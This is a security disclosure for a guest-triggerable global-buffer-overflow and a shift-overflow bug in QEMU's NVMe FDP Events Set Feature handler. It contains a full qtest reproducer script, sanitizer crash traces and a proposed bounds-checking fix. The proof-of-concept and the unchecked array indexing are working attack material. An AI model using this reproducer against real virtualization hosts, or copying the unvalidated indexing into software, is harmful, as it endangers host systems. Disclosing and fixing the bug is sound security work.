I can trigger a host-side AddressSanitizer global-buffer-overflow in current QEMU master through the NVMe FDP Events Set Feature path. The same line also has a related UBSan-triggerable shift issue for valid FDP event ids whose configured shift is 32 or 33. The issue is in `nvme_set_feature_fdp_events()`: event identifiers are copied from guest-controlled command data and then used directly as indices into the global `nvme_fdp_evf_shifts` table. Relevant code: ```c static uint16_t nvme_set_feature_fdp_events(NvmeCtrl *n, NvmeNamespace *ns, NvmeRequest *req) { ... uint8_t noet = (cdw11 >> 16) & 0xff; ... g_autofree uint8_t *events = g_malloc0(noet); ... ret = nvme_h2c(n, events, noet, req); if (ret) { return ret; } for (i = 0; i < noet; i++) { event_mask |= (1 << nvme_fdp_evf_shifts[events[i]]); } ... } ``` `nvme_fdp_evf_shifts` is declared with `FDP_EVT_MAX` entries: ```c #define FDP_EVT_MAX 0xff static const uint8_t nvme_fdp_evf_shifts[FDP_EVT_MAX] = { /* Host events */ [FDP_EVT_RU_NOT_FULLY_WRITTEN] = 0, [FDP_EVT_RU_ATL_EXCEEDED] = 1, [FDP_EVT_CTRL_RESET_RUH] = 2, [FDP_EVT_INVALID_PID] = 3, /* CTRL events */ [FDP_EVT_MEDIA_REALLOC] = 32, [FDP_EVT_RUH_IMPLICIT_RU_CHANGE] = 33, }; ``` Therefore the valid index range is `0x00..0xfe`. A guest can provide event id `0xff` in the FDP Events payload. That byte is copied through PRP1 and later used as the array index, causing a one-byte read past the end of `nvme_fdp_evf_shifts`. There is also a second same-line issue for valid in-bounds event ids `0x80` (`FDP_EVT_MEDIA_REALLOC`) and `0x81` (`FDP_EVT_RUH_IMPLICIT_RU_CHANGE`). Their table shifts are 32 and 33, but the mask expression uses `1 << shift` where `1` is a 32-bit `int`, and stores the result in a `uint8_t event_mask`: ```c uint8_t event_mask = 0; ... event_mask |= (1 << nvme_fdp_evf_shifts[events[i]]); ``` Submitting event id `0x80` triggers UBSan: `shift exponent 32 is too large for 32-bit type 'int'`. Even without UBSan, bits 32/33 cannot be represented in the 8-bit `event_mask`, so these supported FDP event filters cannot be represented correctly. ## Environment Reproduced on current master: - QEMU commit: `60533c6193ede6ce403e82d09d82ae2bc8fb423a` - target: `x86_64-softmmu` - machine used by reproducer: `q35` - device: `nvme` / `nvme-subsys` with `fdp=on` - ASan build: `../configure --target-list=x86_64-softmmu --enable-asan --disable-werror` - UBSan build used for related shift check: `../configure --target-list=x86_64-softmmu --enable-ubsan --disable-werror` ## Security boundary note The reproducer uses qtest only for deterministic PCI configuration, MMIO doorbells, and guest-memory writes. The affected path is the NVMe PCI controller admin command interface exposed to a guest when an NVMe device/subsystem is configured on a supported x86_64 virtualization machine such as `q35`/`pc`. The trigger is a normal guest-submitted NVMe admin command: initialize the admin queue, place one byte `0xff` in guest memory, and submit a Set Features command for `NVME_FDP_EVENTS` (`fid = 0x1e`) with `noet = 1`. The one-byte event id is read from guest memory via PRP1 and then used by the device model as a host array index. This should be triaged as a guest-accessible emulated PCI storage device issue, not as a qtest-only issue. ## Steps to reproduce Build an ASan QEMU: ```text mkdir build-asan cd build-asan ../configure --target-list=x86_64-softmmu --enable-asan --disable-werror ninja -j$(nproc) qemu-system-x86_64 cd .. ``` Save the following as `repro_nvme_fdp_events_oob.sh`: ```sh #!/usr/bin/env bash set -euo pipefail QEMU=${QEMU:-./build-asan/qemu-system-x86_64} IMG=${IMG:-/tmp/nvme-fdp-events-oob.img} truncate -s 64M "$IMG" ASAN_OPTIONS="${ASAN_OPTIONS:-abort_on_error=1:halt_on_error=1:detect_leaks=0:symbolize=1}" \ "$QEMU" \ -display none \ -nodefaults \ -machine q35,accel=qtest \ -m 128M \ -monitor none \ -serial none \ -drive file="$IMG",if=none,id=drv0,format=raw \ -device nvme-subsys,id=subsys0,nqn=nqn.2019-08.org.qemu:subsys0,fdp=on,fdp.nruh=1 \ -device nvme,serial=deadbeef,id=nvme0,subsys=subsys0,addr=04.0 \ -device nvme-ns,drive=drv0,bus=nvme0,nsid=1 \ -qtest stdio <<'QTEST' # Map NVMe BAR0 for PCI 00:04.0 and enable memory + bus mastering. outl 0xcf8 0x80002010 outl 0xcfc 0xe0000000 outl 0xcf8 0x80002004 outw 0xcfc 0x0006 # Optional reads for deterministic synchronization. readl 0xe0000000 readl 0xe0000008 # Guest payload for NVME_FDP_EVENTS Set Feature: one event id 0xff. writeb 0x30000 0xff # Configure admin CQ/SQ and enable the controller. writel 0xe0000024 0x00010001 writeq 0xe0000028 0x0000000000010000 writeq 0xe0000030 0x0000000000020000 writel 0xe0000014 0x00460001 readl 0xe000001c # Admin SQ entry: SET FEATURES, NSID=1, PRP1=0x30000, FID=NVME_FDP_EVENTS # (0x1e), cdw11 noet=1/ph=0, cdw12 enable=1. writeb 0x10000 0x09 writew 0x10002 0x1234 writel 0x10004 0x00000001 writeq 0x10018 0x0000000000030000 writel 0x10028 0x0000001e writel 0x1002c 0x00010000 writel 0x10030 0x00000001 # Ring admin SQ doorbell and let QEMU process the command. writel 0xe0001000 0x00000001 readl 0xe000001c clock_step 1000000 QTEST ``` Run: ```text chmod +x repro_nvme_fdp_events_oob.sh ./repro_nvme_fdp_events_oob.sh ``` ## ASan output With an ASan build this aborts the host process with: ```text ERROR: AddressSanitizer: global-buffer-overflow READ of size 1 #0 nvme_set_feature_fdp_events ../hw/nvme/ctrl.c:6519 #1 nvme_set_feature ../hw/nvme/ctrl.c:6741 #2 nvme_admin_cmd ../hw/nvme/ctrl.c:7613 #3 nvme_process_sq ../hw/nvme/ctrl.c:7841 #4 aio_bh_call ../util/async.c:173 #5 aio_bh_poll ../util/async.c:220 #6 aio_dispatch ../util/aio-posix.c:390 #7 aio_ctx_dispatch ../util/async.c:365 #8 main_loop_wait ../util/main-loop.c #9 qemu_main_loop ../system/runstate.c:950 0x... is located 0 bytes after global variable 'nvme_fdp_evf_shifts' defined in '../hw/nvme/nvme.h:163' of size 255 SUMMARY: AddressSanitizer: global-buffer-overflow ../hw/nvme/ctrl.c:6519 in nvme_set_feature_fdp_events ABORTING ``` ## Related UBSan output for valid event id 0x80 Using the same reproducer but changing the one-byte payload from `0xff` to `0x80` (`FDP_EVT_MEDIA_REALLOC`) with a UBSan build gives: ```text ../hw/nvme/ctrl.c:6519:26: runtime error: shift exponent 32 is too large for 32-bit type 'int' #0 nvme_set_feature_fdp_events ../hw/nvme/ctrl.c:6519 #1 nvme_set_feature ../hw/nvme/ctrl.c:6741 #2 nvme_admin_cmd ../hw/nvme/ctrl.c:7613 #3 nvme_process_sq ../hw/nvme/ctrl.c:7841 ``` ## Suggested fix Validate each guest-supplied event identifier before using it as an index into `nvme_fdp_evf_shifts`, reject unsupported sparse event ids, and use a 64-bit mask/shift expression. For example: ```c uint64_t event_mask = 0; for (i = 0; i < noet; i++) { uint8_t event = events[i]; uint8_t shift; if (event >= ARRAY_SIZE(nvme_fdp_evf_shifts)) { return NVME_INVALID_FIELD | NVME_DNR; } shift = nvme_fdp_evf_shifts[event]; if (shift >= 64 || (!shift && event != FDP_EVT_RU_NOT_FULLY_WRITTEN)) { return NVME_INVALID_FIELD | NVME_DNR; } event_mask |= (UINT64_C(1) << shift); } ``` The exact supported-event predicate can be adjusted to match the NVMe FDP specification, but the important parts are: validate the event id before indexing, avoid treating sparse zero-initialized entries as event bit 0, and avoid 32-bit shift expressions for FDP event shifts 32/33.